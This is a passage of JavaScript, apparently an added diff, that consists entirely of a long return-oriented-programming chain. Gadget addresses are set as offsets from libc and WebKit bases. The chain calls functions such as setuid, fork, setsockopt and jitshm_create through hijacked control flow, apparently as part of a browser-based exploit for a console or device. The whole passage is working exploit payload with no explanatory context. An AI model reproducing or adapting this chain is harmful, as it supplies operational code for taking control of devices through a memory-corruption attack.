4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +nanosleep_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+587864, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setsockopt_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+589192, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +get_errno_addr_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+590520, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +jitshm_alias_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+591848, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +setuid_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+593176, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +fork_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+594504, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +getpid_addr, +webkit_base+2989859, +libc_base+713278 +]); +db([4294967192, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([48, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+740138, +libc_base+430587, +libc_base+713278 +]); +db([32, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278 +]); +db([24, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([128, 0]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+713278, +ropchain+595832, +webkit_base+4687784, +libc_base+489696 +]); +db([0, 0]); +set_gadget(libc_base+713278,); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+608613, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+17972187, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+765305, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+11, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+713278, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +webkit_base+4687784, +libc_base+430587, +libc_base+713278 +]); +db([4294967288, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+772328, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+768796, +libc_base+165442, +libc_base+430587, +libc_base+207036, +libc_base+768796, +webkit_base+1420514, +libc_base+430587, +libc_base+207036, +libc_base+768796, +libc_base+489696, +libc_base+430587, +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([8, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967280, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([208, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967080, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([200, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967088, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([192, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967096, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([184, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967104, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([176, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967112, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+149872, +libc_base+713278 +]); +db([168, 0]); +set_gadgets([ +libc_base+207036, +libc_base+430587, +libc_base+713278 +]); +db([4294967272, 4294967295]); +set_gadgets([ +libc_base+207036, +libc_base+388400, +libc_base+772328 +]); +db([4294967280, 4294967295]); +set_gadgets([ +webkit_base+5236215, +libc_base+772328, +jitshm_create_addr, +webkit_base+2989859, +libc_base+713278 +]); 